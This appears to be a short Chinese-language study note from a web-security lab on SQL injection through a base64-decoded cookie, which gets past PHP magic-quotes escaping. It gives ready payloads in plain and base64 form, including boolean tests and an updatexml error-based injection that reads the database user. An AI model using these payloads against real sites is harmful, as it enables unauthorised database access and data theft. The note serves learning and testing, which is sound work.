总结:看有没有解码的函数,有就把语句base64转译后提交验证
原理:经过base64编码后的字符串不存在特殊字符,可以绕过gpc,在程序中重新接码并插入语句执行,形成sql注入
条件:代码中有base64解码函数
例如: 从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来,
如果有 使用$_COOKIE[‘uname’]获取 cookis 传过来的账号,再拼接到 SQL 带入查询。
这段代码的意思$cookee = base64_decode($cookee); 将$cookee 传过来的参数进行解码,所以$cookee 传 递过来的数据必须先进行编码,否则解码不了会导致出错。
黑盒步骤://因为代码里是base64_decode($cookee),所以要闭合括号,然后再注释后边的括号
- admin’) and 1=1— YWRtaW4nKSBhbmQgMT0xLS0gIA==
admin’) and 1=2— YWRtaW4nKSBhbmQgMT0yLS0gIA== //判断注入是否存在
2.根据报错信息构造语句,视频里是报错注入
本代码存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。
admin’)and (updatexml(1,concat(0x7e,(select user()),0x7e),1))— 进 行 base64 编 码 是 YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=
